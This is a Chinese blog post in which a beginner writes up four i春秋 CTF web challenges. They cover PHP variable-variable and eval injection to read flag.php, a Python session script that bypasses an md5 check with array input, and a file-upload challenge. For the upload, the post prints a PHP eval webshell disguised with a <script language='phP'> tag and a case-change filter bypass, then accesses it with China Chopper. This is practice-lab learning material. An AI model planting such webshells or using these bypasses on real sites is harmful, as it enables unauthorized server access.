1. 程式人生 > >i春秋CTF web題(1)

i春秋CTF web題(1)

信息安全 script 鏈接 eva 意義 clas val IV oba

之前邊看writeup,邊做實驗吧的web題,多多少少有些收獲。但是知識點都已記不清。所以這次借助i春秋這個平臺邊做題,就當記筆記一樣寫寫writeup(其實都大部分還是借鑒其他人的writeup)。

本人小白一枚,於是從低分題(簡單題)邊學邊做

這篇隨筆會寫4道題

0x01:爆破-1

0x02:爆破-2

0x03:爆破-3

0x04:upload

0x01:爆破-1

技術分享圖片

打開鏈接,發現一段PHP代碼

技術分享圖片

明確我們的flag在flag.php這個文件裏面以註釋或者不外顯的形式存在。

hello這個變量是我們可控的,並且只能是全是字符,如果有其他則結束。

"$$a",這裏有2個$符號,$a是我們傳過去的變量,再加上個$號則又是個變量,於是這裏就用到$GLOBALS這個全局變量來訪問flag.php裏面的變量

順手貼一下php官方文檔對該變量的定義

技術分享圖片

於是構造url

http://97104ae4f3174765a9e2f59dc028fc4553582fd8eeb54f81.game.ichunqiu.com/?hello=GLOBALS

回顯:

技術分享圖片

發現flag(話說題目提示6位,GLOBALS不應該7位嗎?)

0x02:爆破-2

技術分享圖片

點進去也是一段PHP代碼

技術分享圖片

var_dump函數是會將變量內容輸出來並加上變量的類型

因為外圍有個eval()函數,說明可以我們變量內容如果是一個語句的話是可以執行的

因此我們要控制hello裏面的值,用它來讀出flag.php文件

構造url:

http://62c123bf4f8a456a870a0b3a3841acde07a12dce89ee48a3.game.ichunqiu.com/?hello=file_get_contents(‘flag.php‘)

回顯:

技術分享圖片

string(83),是回顯了了個83長度的字符串,但是這裏並不完全,查看源碼:

技術分享圖片

發現flag

0x03:爆破-3

技術分享圖片

打開鏈接,又是一段php代碼......

技術分享圖片

這段代碼意思是創建一個會話內容,並存在120秒,初始值 whoami = ‘ea‘; num = 0

在num = 10的情況打印出我們的flag

那麽num++的條件是參數value的前2個字符和whoami的內容匹配,然後whoami又會隨機生成2個數並輸出

後面一個substr(md5($value), 5, 4) == 0 這個好辦,因為md5()這個函數參數如果為數組就會返回false,也就是滿足 == 0

我們手動打入vlaue[]=ea

技術分享圖片

這裏要寫到python腳本,(其實120秒內10個也可以一個一個試出來)

import requests

url = http://2db8577cbeff436c92a5a69276b7f5aba502655072244904.game.ichunqiu.com/?value[]=
s = requests.Session()
payload = ea;
r = s.get(url+payload)
print r.text

i = 0
for i in range(10):
    payload = r.text[0:2]
    r = s.get(url + payload)
    print r.text

最先寫的時候直接用r = requests.get(url + payload)來發送請求,但是它只有第一次回顯了2個隨機字母之後沒有回顯。

然後我稍加思考,難道是session有什麽特別的回顯方式嗎?

最後是這樣的,在我們一次session會話中,如果中途關閉這個頁面,再打開不管你還沒到120秒,都會重新創建新的會話,然後初始值為ea和num為0

所以在開頭 s = requests.Seesion()裏面一定要保證,這次payload傳輸是在一次會話(不關閉頁面)進行的,通過對s進行get操作,就可以保證每次都是在s這個session中完成的。

技術分享圖片

最後我們在第10次顯示後發現flag。

0x04:upload

技術分享圖片

打開鏈接,發現是個上傳頁面

丟個php的一句話木馬上去

技術分享圖片

回顯成功

技術分享圖片

訪問我們的木馬:

http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/hack.php

回顯404!!!說明路徑不在該web的根目錄下

那麽上傳目錄在哪?我重新構造url

http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/upload/hack.php

也是返回404,冷靜下。。。。。

回到上傳頁面看看源碼,發現上傳的路徑是

技術分享圖片

這時候重新構造url

http://53c3f44f7ae4492fa1a2b13462bc12ae1e458361aa104f95.game.ichunqiu.com/u/hack.php

回顯

技術分享圖片

估計<?php 是被過濾掉了,百度下php是否能用其他的標簽

於是可以寫成

<script language = "php"> eval($_POST[‘a‘]); </script>

訪問沒有回顯,我們試著發點數據過去

技術分享圖片

但是沒有回顯,這個地方php也被過濾了,改成大寫即可繞過

重寫我們的木馬

<script language = "phP"> @eval($_POST[‘a‘]); </script>

上傳後,用菜刀一連,找到html目錄下的flag.php

技術分享圖片

發現flag。

本人的一點小嘮叨:18年初才開始接觸信息安全,學了幾個月膨脹了。然而6月1日的比賽被打自閉了後,和畢業後的學長交流,學長建議學習的時候多做做筆記,寫寫博客之類的。這也是我第一次寫writeup,我想將我遇到的問題和解決辦法詳詳細細的記錄下來。寫這4題的writeup的時候,我是前一天都看著別人writeup做好的,然而在今天寫writeup的時候,還是在第三和第四題之間卡住了。第三題,我其實不會用python,在調用requests中遇到了些麻煩,但是我希望自己writeup盡可能詳細,不要出現模棱兩可的情況,於是終於完全弄懂這個session的問題。第四題我記得是用script language和大寫繞過,但是在自己做的時候language少了一個字母,搞了半天。script language = "phP" 在phP上沒加 " " 又搞了半天,還以為eval函數被過濾掉了,再者不知道為啥hackbar也有點問題。最後終於解決這些小毛病。其實自己看著別人writeup做一遍,和自己寫writeup又是兩種感覺,自己寫writeup的時候發現自己還是有許許多多的細節毛病,這四道題真的都不難,看writeup寫的時候,1個小時不到就做完了,但是自己寫writeup,寫了接近3小時了。通過這些寫writeip真的又學習到了很多。以後我都會記錄自己做的有意義的題的writeup。

i春秋CTF web題(1)